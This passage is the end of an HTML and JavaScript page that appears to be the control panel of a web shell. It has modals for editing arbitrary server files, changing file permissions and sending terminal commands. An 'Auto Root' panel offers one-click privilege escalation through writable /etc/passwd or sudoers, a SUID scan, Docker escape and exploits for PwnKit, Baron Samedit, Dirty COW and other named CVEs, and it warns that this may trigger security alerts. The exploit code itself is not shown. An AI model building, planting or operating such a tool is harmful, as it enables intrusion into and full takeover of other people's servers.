</div>

<div class="modal fade" id="editFileModal" tabindex="-1">
    <div class="modal-dialog modal-dialog-centered modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <h5><i class="fas fa-edit"></i> Edit: <span id="editFileName" style="color:#4fc1ff;"></span></h5>
                <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
            </div>
            <form method="post">
                <div class="modal-body">
                    <input type="hidden" name="file_path" id="editFilePath">
                    <textarea name="content" id="editContent" class="form-control form-control-dark" rows="12" style="font-family:monospace; font-size:0.85em;"></textarea>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-theme" data-bs-dismiss="modal">Cancel</button>
                    <button type="submit" name="save_file" class="btn btn-theme primary">Save</button>
                </div>
            </form>
        </div>
    </div>
</div>

<div class="modal fade" id="chmodModal" tabindex="-1">
    <div class="modal-dialog modal-dialog-centered">
        <div class="modal-content">
            <div class="modal-header"><h5><i class="fas fa-lock"></i> Change Permissions</h5><button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button></div>
            <form method="post">
                <div class="modal-body">
                    <input type="hidden" name="target" id="chmodTarget">
                    <input type="text" name="mode" class="form-control form-control-dark" placeholder="755" value="755">
                    <div class="mt-2 text-muted" style="font-size:0.7em;">File: <span id="chmodFileName"></span></div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-theme" data-bs-dismiss="modal">Cancel</button>
                    <button type="submit" name="chmod" class="btn btn-theme primary">Apply</button>
                </div>
            </form>
        </div>
    </div>
</div>

<div class="modal fade" id="autoRootModal" tabindex="-1">
    <div class="modal-dialog modal-dialog-centered modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <h5><i class="fas fa-skull" style="color:#ff4444;"></i> Auto Root</h5>
                <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
            </div>
            <form method="post">
                <div class="modal-body">
                    <p style="color:#888; font-size:0.85em;">
                        <i class="fas fa-info-circle"></i> 9 Privilege Escalation Methods:
                    </p>
                    <ul style="color:#888; font-size:0.8em;">
                        <li><span style="color:#00ff88;">Writable /etc/passwd</span></li>
                        <li><span style="color:#00ff88;">Writable /etc/sudoers</span></li>
                        <li><span style="color:#ff4444;">SUID Binary Scanner</span></li>
                        <li><span style="color:#ff4444;">CVE-2021-4034 (PwnKit)</span></li>
                        <li><span style="color:#ff4444;">CVE-2021-3156 (sudo Baron Samedit)</span></li>
                        <li><span style="color:#ff4444;">CVE-2022-37706 (Enlightenment)</span></li>
                        <li><span style="color:#ff4444;">CVE-2023-2640 (GameOverlay)</span></li>
                        <li><span style="color:#ff4444;">CVE-2016-5195 (Dirty COW)</span></li>
                        <li><span style="color:#ff4444;">Docker Escape</span></li>
                    </ul>
                    <div class="mt-2 text-warning" style="font-size:0.8em;">
                        <i class="fas fa-exclamation-triangle"></i> This may trigger security alerts!
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-theme" data-bs-dismiss="modal">Cancel</button>
                    <button type="submit" name="auto_root" class="btn btn-theme root"><i class="fas fa-skull"></i> Run Auto Root</button>
                </div>
            </form>
        </div>
    </div>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<script>
document.getElementById('terminalForm').addEventListener('submit', function(e) {
    e.preventDefault();
    var input = document.getElementById('terminalInput');
    if (input.value.trim()) this.submit();
});

function clearTerminal() {
    document.getElementById('terminalOutput').innerHTML = '';
}

function editFile(filename) {
    document.getElementById('editFileName').textContent = filename;
    document.getElementById('editFilePath').value = filename;
    fetch('?getfile=' + encodeURIComponent(filename))
        .then(r => r.text())
        .then(data => { document.getElementById('editContent').value = data; })
        .catch(() => { document.getElementById('editContent').value = '// Error loading file'; });
    new bootstrap.Modal(document.getElementById('editFileModal')).show();
}

function chmodFile(filename) {
    document.getElementById('chmodTarget').value = filename;
    document.getElementById('chmodFileName').textContent = filename;
    new bootstrap.Modal(document.getElementById('chmodModal')).show();
}

document.addEventListener('click', function() { document.getElementById('terminalInput').focus(); });
</script>
</body>
</html>